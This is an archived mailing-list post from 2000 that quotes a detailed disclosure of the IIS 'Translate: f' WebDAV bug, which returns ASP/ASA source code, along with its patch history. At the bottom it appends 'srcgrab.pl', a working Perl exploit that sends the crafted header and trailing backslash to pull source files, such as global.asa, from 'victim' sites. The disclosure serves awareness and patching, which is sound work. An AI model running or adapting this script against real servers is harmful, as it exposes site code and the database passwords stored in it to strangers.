srcgrab.pl.txt

Subject: Re: Translate:f summary, history and thoughts > Simple perl srcgrab.pl.txt

Subject: Re: Translate:f summary, history and thoughts > Simple perl script
exploit for the problem.


Please find a simple perl script included at the bottom that exploits below described problem.


> ----- Original Message -----
> From: "Daniel Do?ekal" <This email address is being protected from spambots. You need JavaScript enabled to view it.>
> To: <This email address is being protected from spambots. You need JavaScript enabled to view it.>
> Sent: Tuesday, August 15, 2000 7:39 PM
> Subject: Translate:f summary, history and thoughts
>
>
> > Because Microsoft went the way of HIDING the actual mechanism of
> Translate:f
> > from all of us (original KB article is gone and new Security Bulletin is
> > playing nasty game of downplaying the problem), i have decided to write
> > follow up with sufficient information.
> >
> > HOW IT WORKS
> > -------------------------
> >
> > WebDAV implemented in Windows 2000 and Office 2000 (including FrontPage
> 2000
> > and FrontPage 2000 Server extensions) is the source of Translate:f
> problem.
> >
> > When someone makes request for ASP/ASA (or any other scriptable page)
and
> > adds "Translate: f" into headers of HTTP GET request (headers are _not_
> part
> > of URL, they are part of HTTP request), there is a serious security bug
in
> > Windows 2000 (unpatched by SP1) that in return gives complete ASP/ASA
code
> > instead of processed file (one has to add trailing slash "/" to end of
> > requested url to have this really working).
> >
> > "Translate: f" is legitimate header for WebDAV, it is used as it should
> be -
> > adding this to HTTP GET is sign for WebDAV component to really return
> SOURCE
> > code of file and bypass processing. It is used in FrontPage2000 and any
> > WebDAV compatible client to get file for editing. It has to be
accompanied
> > by some other information which should not let anynone access sources.
> > Unfortunately, there is some mistake in coding, and simple adding of
> "only"
> > "Translate:f" and placing "/" at end of request to HTTP GET will lead in
> > security bug (which now plagues every second web tested in URLcheck test

> at
> > security.namodro.cz).
> >
> > It is WINDOWS 2000 bug, but because of FrontPage Server Extensions 2000
> > installed even on IIS 4.0 sites, it is also IIS 4.0 bug. Also worth of
> note
> > is that MANY IIS 4.0 sites will exhibit "Translate: f" bug when web
files
> > are stored on SHARED (network) directory - this has been reported to
> > This email address is being protected from spambots. You need JavaScript enabled to view it. the same time i started bombing them with
information
> > that there is BIG problem with "Translate: f" - and result of case at
> > This email address is being protected from spambots. You need JavaScript enabled to view it. :
> >
> > YES, IIS 4.0 is vulnerable, if files are located on shared drive - in
that
> > case, please apply fix for "Virtualized UNC Share" vulnerability (please
> see
> > MS00-019 for fixes). So even IIS 4.0 is _not_ safe from this problem.
> >
> > THE HISTORY
> > ---------------------
> >
> > "Translate: f" bug was first made public around 5th of June 2000, at
that
> > time MS KB article Q256888 was released and was fully describing the
> > mechanism. At 6th of June, there was a POSTFIX released as standalone
EXE
> > fixing the problem.
> >
> > At that point someone at Microsoft made big mistake, instead of
releasing
> > Security Bulletin and instead of notifying PREMIER SUPPORT customers,
they
> > just left this only with one Q256888 article. And it appears that most
> > IIS4/IIS5 admins are just NOT checking Knowledge Base (we do, and Svet
> > Namodro has released its own priority warning and we have patched our
> > servers immediately).
> >
> > Then Service Pack 1 for Windows 2000 was released - the bug IS fixed by
> > applying SP1 - but it is obvious, that nobody is in big hurry to apply
> SP1.
> > Result is - many well know web sites are having security problem and
> showing
> > business logic including passwords to databases.
> >
> > After sending many, many, mails to Microsoft (including
> > This email address is being protected from spambots. You need JavaScript enabled to view it., Mr. Ballmer office, passing letter through support
> at
> > Czech Microsoft), there is result - it took TWO weeks to have new
Security
> > Bulletin out. And i have to say, that i am very disappointed. Microsoft
is
> > now HIDING the "Translate:f" nature from all of us (KB Q256888 was
pulled
> > from Knowledge Base) and Security Bulletin is downplaying the level of
> > problem we are dealing with.
> >
> > LINKS
> > ---------
> >
> > http://www.microsoft.com/technet/security/bulletin/ms00-058.asp
> > Security bulletin talking about "Translate:f" but hiding this fact from
> us,
> > inside you will find POSTFIX URL which is
> > http://www.microsoft.com/Downloads/Release.asp?ReleaseID=23769
> >
> >
>
http://support.microsoft.com/support/kb/articles/q256/8/88.ASP?LN=EN-US&SD=g
> > n&FR=0
> > Q256888 (now inaccessible) where original version was clearly talking
> about
> > "Translate:f" (curious how it will look when it is "rewritten").
> >
> >
>
http://download.microsoft.com/download/win2000srv/Patch/Q262259/NT5/EN-US/Q2
> > 62259_W2K_SP1_X86_EN.EXE
> > original US ENGLISH hotfix from 6th of June
> >
> > http://support.microsoft.com/support/kb/articles/q262/2/59.ASP
> > another KB article showing link to Q256888 as :
> > "Internet Information Service Returns Source of Active Server Pages File
> > When Request Contains Translate:f and Ends with a Backslash" - maybe
save
> it
> > for your kids to see how Microsoft changes history!
> >
> > http://security.namodro.cz/urlcheck.asp?lang=en
> > English version of pages letting anyone to verify if his/her server is
not
> > vulnerable to Translate:f (and some other similar "url" related bugs).
> >
> > THOUGHTS
> > -----------------
> >
> > Most important and dangerous aspect of bugs leading to source of ASP/ASA
> is
> > not in giving away your business logic. It is not worth of trying to
> > download all ASP/ASA files and decode how something works. Most
important
> > aspect is in showing PASSWORDS to access SQL Server Databases and
> LOCATIONS
> > of Access databases. This is how sites are hacked and private sensitive
> data
> > are falling in hands of strangers.
> >
> > Even after YEARS of existence of ASP files, Microsoft did nothing to
> remove
> > one from most dangerous aspect - that ASP/ASA files are used for storing
> > passwords and sensitive information.
> >
> > Daniel
> >
>
>


___________________cut here___________________________

#!/usr/bin/perl
# Expl0it By This email address is being protected from spambots. You need JavaScript enabled to view it.
# Tested with sucess against IIS 5.0. Maybe it works against IIS 4.0 using a shared drive but I haven?t tested it yet.
# Get the source code of any script from the server using this exploit.
# This code was written after Daniel Docekal brought this issue in BugTraq.
# Cheers 351 and FractalG :)

if (not $ARGV[0]) {
print qq~
Geee it?s running !! kewl :)))
Usage : srcgrab.pl <complete url of file to retrieve>
Example Usage : srcgrab.pl http://www.victimsite.com/global.asa
U can also save the retrieved file using : srcgrab.pl http://www.victim.com/default.asp > file_to_save
~; exit;}


$victimurl=$ARGV[0];

# Create a user agent object
use LWP::UserAgent;
$ua = new LWP::UserAgent;

# Create a request
my $req = new HTTP::Request GET => $victimurl . '\\'; # Here is the backslash at the end of the url ;)
$req->content_type('application/x-www-form-urlencoded');
$req->content_type('text/html');
$req->header(Translate => 'f'); # Here is the famous translate header :))
$req->content('match=www&errors=0');

# Pass request to the user agent and get a response back
my $res = $ua->request($req);

# Check the outcome of the response
if ($res->is_success) {
print $res->content;
} else {
print $res->error_as_HTML;
}